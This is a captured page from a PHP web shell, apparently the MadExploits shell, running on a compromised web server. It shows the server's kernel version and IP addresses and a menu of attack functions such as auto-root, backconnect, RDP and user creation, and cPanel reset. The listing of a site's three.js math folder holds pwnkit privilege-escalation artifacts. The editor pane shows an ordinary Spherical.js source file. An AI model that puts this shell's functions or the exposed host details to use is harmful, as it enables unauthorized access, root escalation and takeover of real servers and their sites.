Linux dpw.dpwebtech.com 3.10.0-1160.88.1.el7.x86_64 #1 SMP Tue Mar 7 15:41:52 UTC 2023 x86_64
Apache
: 192.232.243.69 | : 3.16.78.141
54 Domain
7.3.33
dpclient
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
dpclient /
public_html /
HRD-Test /
src /
math /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
interpolants
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Box2.js
3.14
KB
-rw-r--r--
Box3.js
10.87
KB
-rw-r--r--
Color.js
13.4
KB
-rw-r--r--
ColorManagement.js
4.04
KB
-rw-r--r--
Cylindrical.js
953
B
-rw-r--r--
Euler.js
4.65
KB
-rw-r--r--
Frustum.js
3.8
KB
-rw-r--r--
Interpolant.js
4.17
KB
-rw-r--r--
Line3.js
1.73
KB
-rw-r--r--
MathUtils.js
8.35
KB
-rw-r--r--
Matrix3.js
5.91
KB
-rw-r--r--
Matrix4.js
19.25
KB
-rw-r--r--
Plane.js
3.56
KB
-rw-r--r--
Quaternion.js
12.22
KB
-rw-r--r--
Ray.js
9.75
KB
-rw-r--r--
Sphere.js
3.57
KB
-rw-r--r--
Spherical.js
1.32
KB
-rw-r--r--
SphericalHarmonics3.js
4.39
KB
-rw-r--r--
Triangle.js
6.9
KB
-rw-r--r--
Vector2.js
5.58
KB
-rw-r--r--
Vector3.js
10.65
KB
-rw-r--r--
Vector4.js
9.84
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Spherical.js
/** * Ref: https://en.wikipedia.org/wiki/Spherical_coordinate_system * * The polar angle (phi) is measured from the positive y-axis. The positive y-axis is up. * The azimuthal angle (theta) is measured from the positive z-axis. */ import * as MathUtils from './MathUtils.js'; class Spherical { constructor( radius = 1, phi = 0, theta = 0 ) { this.radius = radius; this.phi = phi; // polar angle this.theta = theta; // azimuthal angle return this; } set( radius, phi, theta ) { this.radius = radius; this.phi = phi; this.theta = theta; return this; } copy( other ) { this.radius = other.radius; this.phi = other.phi; this.theta = other.theta; return this; } // restrict phi to be between EPS and PI-EPS makeSafe() { const EPS = 0.000001; this.phi = Math.max( EPS, Math.min( Math.PI - EPS, this.phi ) ); return this; } setFromVector3( v ) { return this.setFromCartesianCoords( v.x, v.y, v.z ); } setFromCartesianCoords( x, y, z ) { this.radius = Math.sqrt( x * x + y * y + z * z ); if ( this.radius === 0 ) { this.theta = 0; this.phi = 0; } else { this.theta = Math.atan2( x, z ); this.phi = Math.acos( MathUtils.clamp( y / this.radius, - 1, 1 ) ); } return this; } clone() { return new this.constructor().copy( this ); } } export { Spherical };
Close